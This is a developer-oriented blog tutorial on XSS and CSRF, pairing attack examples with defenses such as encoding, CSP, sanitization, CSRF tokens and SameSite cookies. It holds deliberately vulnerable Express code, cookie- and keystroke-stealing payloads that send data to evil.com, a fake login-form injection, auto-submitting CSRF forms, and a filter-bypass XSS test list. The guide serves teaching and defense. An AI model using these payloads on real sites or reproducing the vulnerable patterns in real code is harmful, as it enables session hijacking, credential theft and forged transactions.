security|March 26, 2026|12 min read

XSS and CSRF Explained — The Complete Guide with Real Attack Examples and Defenses

TL;DR

XSS injects malicious scripts into pages viewed by other users. CSRF tricks a user's browser into making authenticated requests to a target site. Both are in the OWASP Top 10. This guide covers all three XSS types (stored, reflected, DOM-based), CSRF attack mechanics, and production-grade defenses with code examples.

XSS and CSRF Explained — The Complete Guide with Real Attack Examples and Defenses

XSS and CSRF have been in the OWASP Top 10 for over a decade. They’re among the first vulnerabilities every web developer learns about — and among the last to be fully eliminated from production codebases.

I’ve spent years building security tooling and reviewing code for vulnerabilities. These two attack classes keep showing up because they exploit something fundamental: the trust model between browsers, servers, and users.

Let’s break them down — with real code, real attacks, and real defenses.

Part 1: Cross-Site Scripting (XSS)

XSS is conceptually simple: an attacker injects JavaScript into a web page that other users view. When the victim’s browser renders the page, it executes the attacker’s script as if it were legitimate code from the site.

The attacker’s script runs with the same privileges as the legitimate page — it can read cookies, access localStorage, make API calls, redirect the user, or modify the DOM.

XSS Attack Types

Type 1: Stored XSS (Persistent)

The most dangerous form. The attacker’s payload is stored in the application’s database and served to every user who views the affected page.

The vulnerable code:

// Express.js route — VULNERABLE
app.get('/comments', async (req, res) => {
  const comments = await db.query('SELECT * FROM comments ORDER BY created_at DESC');

  let html = '<div class="comments">';
  for (const comment of comments) {
    // Directly injecting user content into HTML — VULNERABLE
    html += `
      <div class="comment">
        <strong>${comment.author}</strong>
        <p>${comment.body}</p>
      </div>
    `;
  }
  html += '</div>';

  res.send(html);
});

The attack:

An attacker submits this as a comment:

Great article!<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

Every user who views the comments page now sends their session cookie to the attacker’s server. The attacker can use that cookie to impersonate any victim.

More sophisticated stored XSS payloads:

<!-- Keylogger — captures everything the user types -->
<script>
document.addEventListener('keypress', function(e) {
  fetch('https://evil.com/log?key=' + e.key);
});
</script>

<!-- Session hijack with full DOM access -->
<script>
  const data = {
    cookies: document.cookie,
    url: window.location.href,
    localStorage: JSON.stringify(localStorage),
    html: document.body.innerHTML.substring(0, 5000)
  };
  navigator.sendBeacon('https://evil.com/exfil', JSON.stringify(data));
</script>

<!-- Phishing — replaces the page with a fake login form -->
<script>
  document.body.innerHTML = `
    <div style="max-width:400px;margin:100px auto;font-family:sans-serif">
      <h2>Session expired. Please log in again.</h2>
      <form action="https://evil.com/phish" method="POST">
        <input name="email" placeholder="Email" style="width:100%;padding:10px;margin:5px 0">
        <input name="password" type="password" placeholder="Password" style="width:100%;padding:10px;margin:5px 0">
        <button style="width:100%;padding:10px;background:#0066ff;color:white;border:none">Log In</button>
      </form>
    </div>`;
</script>

Type 2: Reflected XSS

The payload is part of the request (usually the URL) and gets “reflected” back in the response. The attacker tricks the victim into clicking a crafted link.

The vulnerable code:

// Search endpoint — VULNERABLE
app.get('/search', (req, res) => {
  const query = req.query.q;

  // Reflecting user input directly into HTML
  res.send(`
    <h1>Search Results</h1>
    <p>You searched for: ${query}</p>
    <p>No results found.</p>
  `);
});

The attack URL:

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

The attacker sends this link to the victim via email, chat, or social media. When the victim clicks it, the search page reflects the script tag into the HTML, and the browser executes it.

URL-encoded version (how it actually looks in the wild):

https://example.com/search?q=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fevil.com%2Fsteal%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Type 3: DOM-Based XSS

The payload never touches the server. The vulnerability exists entirely in client-side JavaScript that reads from an untrusted source (URL, location.hash, postMessage) and writes to a dangerous sink (innerHTML, eval, document.write).

The vulnerable code:

// Client-side JavaScript — VULNERABLE
// Reads the URL hash and inserts it into the page
const userInput = window.location.hash.substring(1);
document.getElementById('welcome').innerHTML = 'Hello, ' + userInput;

The attack URL:

https://example.com/dashboard#<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

The # fragment is never sent to the server — it’s processed entirely by the browser’s JavaScript. This makes DOM-based XSS invisible to server-side security tools like WAFs.

Common DOM XSS sources and sinks:

// DANGEROUS SOURCES (untrusted data)
window.location.hash
window.location.search
document.URL
document.referrer
window.name
postMessage data

// DANGEROUS SINKS (code execution)
element.innerHTML = ...
element.outerHTML = ...
document.write(...)
eval(...)
setTimeout(string, ...)
setInterval(string, ...)
new Function(string)
element.setAttribute('onclick', ...)

Real-World XSS Examples

Samy Worm (MySpace, 2005): A stored XSS worm that added “Samy is my hero” to every profile that viewed an infected page. It spread to over 1 million users in 20 hours — the fastest-spreading virus of all time at that point.

TweetDeck XSS (2014): A stored XSS vulnerability in TweetDeck caused a tweet containing <script> to auto-retweet itself. Over 80,000 accounts were affected before Twitter disabled TweetDeck.

British Airways (2018): Attackers injected a malicious script into the BA website that skimmed payment card details from the checkout page. 380,000 card details were stolen. BA was fined £20 million under GDPR.

Part 2: Cross-Site Request Forgery (CSRF/XSRF)

CSRF exploits a different trust relationship. While XSS exploits the user’s trust in a website, CSRF exploits the website’s trust in the user’s browser.

The core problem: browsers automatically attach cookies to every request sent to a domain, regardless of which site initiated the request.

CSRF Attack Anatomy

How CSRF Works

  1. Victim logs into bank.com — browser stores session cookie
  2. Victim visits evil.com (from a link in an email, ad, etc.)
  3. evil.com contains a hidden form that auto-submits a POST to bank.com/transfer
  4. Browser sends the request to bank.com with the victim’s cookies
  5. Bank processes the transfer — it looks like a legitimate request

The malicious page on evil.com:

<!DOCTYPE html>
<html>
<body>
  <h1>You've won a prize! 🎉</h1>
  <p>Click below to claim...</p>

  <!-- Hidden CSRF attack -->
  <form id="csrf-form" action="https://bank.com/api/transfer" method="POST" style="display:none">
    <input name="to_account" value="ATTACKER-ACCT-123" />
    <input name="amount" value="10000" />
    <input name="currency" value="USD" />
  </form>

  <script>
    // Auto-submit as soon as page loads
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

CSRF Without Forms

CSRF doesn’t require forms. Any request that changes state is vulnerable:

GET-based CSRF (if the app uses GET for state changes):

<!-- Image tag triggers a GET request — victim's browser sends cookies -->
<img src="https://bank.com/api/transfer?to=attacker&amount=5000" style="display:none" />

<!-- Or in an email -->
<img src="https://example.com/api/delete-account" width="1" height="1" />

This is why state-changing operations should never use GET requests.

CSRF via AJAX (blocked by CORS, but still relevant):

// This will fail if CORS is properly configured
// But if the server has Access-Control-Allow-Origin: * ...
fetch('https://bank.com/api/transfer', {
  method: 'POST',
  credentials: 'include', // sends cookies
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});

Login CSRF — The Overlooked Variant

Most developers protect state-changing endpoints but forget the login form:

<!-- Attacker logs the victim into the ATTACKER'S account -->
<form action="https://example.com/login" method="POST" style="display:none">
  <input name="email" value="[email protected]" />
  <input name="password" value="attacker-password" />
</form>
<script>document.forms[0].submit();</script>

Why is this dangerous? The victim thinks they’re using their own account but they’re actually logged into the attacker’s account. Any sensitive data they enter (credit cards, addresses, personal info) is now visible to the attacker.

Part 3: Defenses — Production-Grade Code

Defense Layers

XSS Defense 1: Output Encoding (The Most Important Defense)

The golden rule: never insert untrusted data into HTML without encoding it first.

// WRONG — raw insertion
element.innerHTML = userInput;
res.send(`<p>${userInput}</p>`);

// RIGHT — encode before insertion
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;',
  };
  return str.replace(/[&<>"']/g, char => map[char]);
}

element.textContent = userInput; // Safe — textContent doesn't parse HTML
res.send(`<p>${escapeHtml(userInput)}</p>`);

Context matters. Different contexts need different encoding:

// HTML body context
<p>${escapeHtml(userInput)}</p>

// HTML attribute context
<div data-name="${escapeHtml(userInput)}">

// JavaScript string context — use JSON.stringify
<script>
  const name = ${JSON.stringify(userInput)};
</script>

// URL parameter context
<a href="/search?q=${encodeURIComponent(userInput)}">

// CSS context — avoid if possible, use allowlists
<div style="color: ${allowedColors.includes(userInput) ? userInput : 'black'}">

XSS Defense 2: Content Security Policy (CSP)

CSP is a browser-enforced policy that controls which resources a page can load. It’s the strongest defense against XSS after output encoding.

// Express.js — set CSP headers
app.use((req, res, next) => {
  res.setHeader('Content-Security-Policy', [
    "default-src 'self'",            // Only load resources from same origin
    "script-src 'self'",             // No inline scripts, no eval()
    "style-src 'self' 'unsafe-inline'", // Allow inline styles (common need)
    "img-src 'self' data: https:",   // Images from self, data URIs, HTTPS
    "font-src 'self'",              // Fonts from self only
    "connect-src 'self' https://api.example.com", // API calls
    "frame-ancestors 'none'",        // Prevent clickjacking
    "base-uri 'self'",             // Prevent base tag injection
    "form-action 'self'",          // Forms can only submit to self
  ].join('; '));
  next();
});

What CSP blocks:

<!-- Blocked: inline script -->
<script>alert('xss')</script>

<!-- Blocked: inline event handler -->
<img src="x" onerror="alert('xss')">

<!-- Blocked: eval() and similar -->
<script>eval('alert("xss")')</script>

<!-- Blocked: external script from untrusted origin -->
<script src="https://evil.com/steal.js"></script>

If you need inline scripts (e.g., for analytics), use nonces:

const crypto = require('crypto');

app.use((req, res, next) => {
  // Generate a unique nonce per request
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  res.setHeader('Content-Security-Policy',
    `script-src 'self' 'nonce-${res.locals.nonce}'`
  );
  next();
});
<!-- This script will execute because the nonce matches -->
<script nonce="<%= nonce %>">
  // Legitimate inline script
  analytics.init('key');
</script>

<!-- This injected script will be BLOCKED — wrong/no nonce -->
<script>alert('xss')</script>

XSS Defense 3: Input Validation

Validate on input, encode on output. Both matter.

// Server-side validation — Express.js with express-validator
const { body, validationResult } = require('express-validator');

app.post('/comment', [
  body('author')
    .trim()
    .isLength({ min: 1, max: 100 })
    .matches(/^[a-zA-Z0-9\s\-_.]+$/), // Allowlist safe characters

  body('email')
    .isEmail()
    .normalizeEmail(),

  body('body')
    .trim()
    .isLength({ min: 1, max: 5000 })
    .stripLow(), // Remove control characters

], (req, res) => {
  const errors = validationResult(req);
  if (!errors.isEmpty()) {
    return res.status(400).json({ errors: errors.array() });
  }
  // Process the validated input...
});

XSS Defense 4: Sanitize Rich Text with DOMPurify

If your application needs to accept HTML (rich text editors, markdown), use a battle-tested sanitizer:

import DOMPurify from 'dompurify';

// Sanitize HTML — removes all dangerous tags and attributes
const dirty = '<p>Hello</p><script>alert("xss")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Result: '<p>Hello</p>'

// Allow specific tags only
const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'ul', 'ol', 'li', 'code', 'pre'],
  ALLOWED_ATTR: ['href', 'class'],
});

XSS Defense 5: Framework-Level Protections

Modern frameworks auto-escape by default. Don’t bypass them.

// React — safe by default
function Comment({ body }) {
  return <p>{body}</p>; // React escapes this automatically
}

// React — DANGEROUS bypass
function Comment({ body }) {
  return <p dangerouslySetInnerHTML={{ __html: body }} />; // XSS if body is untrusted
}
# Django — auto-escapes by default
{{ user_input }}              # Safe — auto-escaped

{{ user_input | safe }}       # DANGEROUS — bypass escaping
{% autoescape off %}          # DANGEROUS — disables escaping
// Go html/template — auto-escapes
// template: <p>{{.UserInput}}</p>  — Safe

// Go text/template — does NOT escape
// template: <p>{{.UserInput}}</p>  — VULNERABLE

CSRF Defense 1: CSRF Tokens (Synchronizer Token Pattern)

The standard defense. Generate a unique, unpredictable token per session, embed it in forms, and verify it server-side.

// Express.js with csurf middleware
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

// Render form with CSRF token
app.get('/transfer', csrfProtection, (req, res) => {
  res.send(`
    <form method="POST" action="/transfer">
      <input type="hidden" name="_csrf" value="${req.csrfToken()}">
      <input name="to_account" placeholder="Account">
      <input name="amount" placeholder="Amount">
      <button type="submit">Transfer</button>
    </form>
  `);
});

// Verify CSRF token on POST
app.post('/transfer', csrfProtection, (req, res) => {
  // csurf automatically rejects if token is missing or invalid
  processTransfer(req.body);
  res.redirect('/success');
});

For SPA/API applications, use a custom header approach:

// Server — set CSRF token in a cookie
app.use((req, res, next) => {
  if (!req.cookies['XSRF-TOKEN']) {
    const token = crypto.randomBytes(32).toString('hex');
    res.cookie('XSRF-TOKEN', token, {
      httpOnly: false, // JS needs to read this
      secure: true,
      sameSite: 'Strict',
    });
  }
  next();
});

// Server — verify the token
app.use((req, res, next) => {
  if (['POST', 'PUT', 'DELETE', 'PATCH'].includes(req.method)) {
    const cookieToken = req.cookies['XSRF-TOKEN'];
    const headerToken = req.headers['x-xsrf-token'];
    if (!cookieToken || cookieToken !== headerToken) {
      return res.status(403).json({ error: 'CSRF validation failed' });
    }
  }
  next();
});
// Client — read token from cookie and send in header
// Axios does this automatically if configured:
import axios from 'axios';

axios.defaults.xsrfCookieName = 'XSRF-TOKEN';
axios.defaults.xsrfHeaderName = 'X-XSRF-TOKEN';

// Every request now automatically includes the CSRF token
await axios.post('/api/transfer', { to: 'friend', amount: 100 });

CSRF Defense 2: SameSite Cookies

The simplest and most effective modern CSRF defense. Set SameSite on all cookies:

// Express.js — set SameSite on session cookie
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,     // Prevent XSS from reading cookie
    secure: true,       // HTTPS only
    sameSite: 'Lax',    // Block cross-site POST requests
    maxAge: 3600000,    // 1 hour
  },
}));

SameSite values explained:

SameSite=Strict
  Cookie is NEVER sent on cross-site requests.
  Even clicking a link from email to your-site.com won't send the cookie.
  Best for: Banking, admin panels, sensitive operations.

SameSite=Lax (default in modern browsers)
  Cookie is sent on top-level navigations (clicking a link) but NOT on
  cross-site POST, iframe, AJAX, or image requests.
  Best for: Most applications. Good balance of security and usability.

SameSite=None
  Cookie is always sent (old behavior). Requires Secure flag.
  Only use for: Cross-site embed scenarios (OAuth, widgets).

CSRF Defense 3: Verify Origin Header

// Middleware to check Origin/Referer header
function verifyCsrfOrigin(req, res, next) {
  if (['GET', 'HEAD', 'OPTIONS'].includes(req.method)) {
    return next(); // Safe methods don't need checking
  }

  const origin = req.headers['origin'] || req.headers['referer'];
  if (!origin) {
    return res.status(403).json({ error: 'Missing origin header' });
  }

  const allowed = ['https://example.com', 'https://www.example.com'];
  const requestOrigin = new URL(origin).origin;

  if (!allowed.includes(requestOrigin)) {
    console.warn(`CSRF blocked: ${requestOrigin} not in allowed origins`);
    return res.status(403).json({ error: 'Invalid origin' });
  }

  next();
}

Part 4: Complete Security Headers Setup

Here’s the full set of security headers every web application should have:

// Express.js — production security headers
const helmet = require('helmet');

app.use(helmet());

// Or manually for full control:
app.use((req, res, next) => {
  // Prevent XSS — Content Security Policy
  res.setHeader('Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'; base-uri 'self'; form-action 'self'"
  );

  // Prevent MIME sniffing
  res.setHeader('X-Content-Type-Options', 'nosniff');

  // Prevent clickjacking
  res.setHeader('X-Frame-Options', 'DENY');

  // Control referrer information
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // HTTPS enforcement
  res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');

  // Prevent browser from opening downloads in site context
  res.setHeader('X-Download-Options', 'noopen');

  // Disable DNS prefetching
  res.setHeader('X-DNS-Prefetch-Control', 'off');

  // Permissions Policy — disable unnecessary browser features
  res.setHeader('Permissions-Policy',
    'camera=(), microphone=(), geolocation=(), payment=()'
  );

  next();
});

Part 5: XSS vs CSRF — Side-by-Side Comparison

XSS CSRF
Exploits User’s trust in the website Website’s trust in the browser
Mechanism Inject malicious script Forge authenticated request
Requires Unsanitized user input in page Victim logged into target site
Payload location In the page (DOM/HTML) In the request (form/URL)
Attacker can Read data, steal cookies, modify page Perform actions as the user
Attacker cannot (with HttpOnly cookies) steal session Read the response data
Server sees Normal request from victim’s browser Normal request from victim’s browser
Primary defense Output encoding + CSP CSRF tokens + SameSite cookies

The critical difference: XSS can read data from the target site. CSRF can only write (perform actions) — the attacker can’t see the response.

This means XSS is strictly more powerful than CSRF. In fact, XSS can bypass CSRF protections — if an attacker can execute JavaScript on a page, they can read the CSRF token from the form and include it in their forged request.

Part 6: Testing for Vulnerabilities

Manual XSS Testing Payloads

# Basic test
<script>alert('XSS')</script>

# Attribute breakout
"><script>alert('XSS')</script>
'><script>alert('XSS')</script>

# Event handlers (bypass script tag filters)
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<input autofocus onfocus=alert('XSS')>

# JavaScript protocol
<a href="javascript:alert('XSS')">Click</a>

# Encoded payloads (bypass naive filters)
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

# Template injection (Angular, Vue, etc.)
{{constructor.constructor('alert(1)')()}}

CSRF Testing Checklist

[ ] Submit state-changing forms without CSRF token — should fail
[ ] Submit with a token from a different session — should fail
[ ] Submit via cross-origin AJAX — should be blocked by CORS
[ ] Test GET endpoints for state changes — should not exist
[ ] Verify SameSite attribute on all session cookies
[ ] Check Origin/Referer validation on all POST endpoints
[ ] Test login form for login CSRF
[ ] Verify CORS Access-Control-Allow-Origin is not wildcard (*)

The Security Checklist

Every web application should implement these. No exceptions.

XSS Prevention:

  • Output encode all user data based on context (HTML, attribute, JS, URL)
  • Deploy Content Security Policy headers (no inline scripts)
  • Use HttpOnly flag on all session cookies
  • Use framework auto-escaping — never bypass it without a documented reason
  • Sanitize rich text with DOMPurify or equivalent
  • Validate input on the server side (allowlists over denylists)

CSRF Prevention:

  • Use CSRF tokens on all state-changing requests
  • Set SameSite=Lax (minimum) on all cookies
  • Verify Origin header on all POST/PUT/DELETE requests
  • Never use GET for state-changing operations
  • Set Secure flag on all cookies in production
  • Configure CORS properly — never use wildcard origins with credentials

Both:

  • Deploy all security headers (CSP, HSTS, X-Frame-Options, etc.)
  • Use HTTPS everywhere — no exceptions
  • Keep dependencies updated — XSS in a library is XSS in your app
  • Run automated security scans in CI/CD
  • Do manual penetration testing at least annually

Security isn’t a feature you ship once. It’s a practice you maintain every day, in every pull request, in every code review. The defenses in this article aren’t optional extras — they’re the bare minimum for any application that handles user data.

Related Posts

OWASP Top 10 (2021) — Every Vulnerability Explained with Code

OWASP Top 10 (2021) — Every Vulnerability Explained with Code

The OWASP Top 10 is the industry standard for web application security risks. If…

HTTP Cookies Security — Everything Developers Get Wrong

HTTP Cookies Security — Everything Developers Get Wrong

Cookies are the single most important mechanism for web authentication. Every…

Format String Vulnerabilities — The Read-Write Primitive Hiding in printf()

Format String Vulnerabilities — The Read-Write Primitive Hiding in printf()

Format string vulnerabilities are unique in the exploit world. Most memory…

Buffer Overflow Attacks — How Memory Corruption Actually Works

Buffer Overflow Attacks — How Memory Corruption Actually Works

Buffer overflows are the oldest and most consequential vulnerability class in…

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

In 2025, 72% of professional developers used AI-assisted coding tools daily. By…

SQL Injection: The Complete Guide to Understanding, Preventing, and Detecting SQLi Attacks

SQL Injection: The Complete Guide to Understanding, Preventing, and Detecting SQLi Attacks

SQL injection has been on the OWASP Top 10 since the list was created in 200…

Latest Posts

Staff Engineer Study Plan for MAANG Interviews — The Complete 12-Week Roadmap

Staff Engineer Study Plan for MAANG Interviews — The Complete 12-Week Roadmap

If you’re a Senior Engineer (L5) preparing for Staff (L6+) roles at MAANG…

OWASP Top 10 (2021) — Every Vulnerability Explained with Code

OWASP Top 10 (2021) — Every Vulnerability Explained with Code

The OWASP Top 10 is the industry standard for web application security risks. If…

HTTP Cookies Security — Everything Developers Get Wrong

HTTP Cookies Security — Everything Developers Get Wrong

Cookies are the single most important mechanism for web authentication. Every…

Format String Vulnerabilities — The Read-Write Primitive Hiding in printf()

Format String Vulnerabilities — The Read-Write Primitive Hiding in printf()

Format string vulnerabilities are unique in the exploit world. Most memory…

Buffer Overflow Attacks — How Memory Corruption Actually Works

Buffer Overflow Attacks — How Memory Corruption Actually Works

Buffer overflows are the oldest and most consequential vulnerability class in…

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

Software Security in the AI Era: How to Write Secure Code When AI Writes Code Too

In 2025, 72% of professional developers used AI-assisted coding tools daily. By…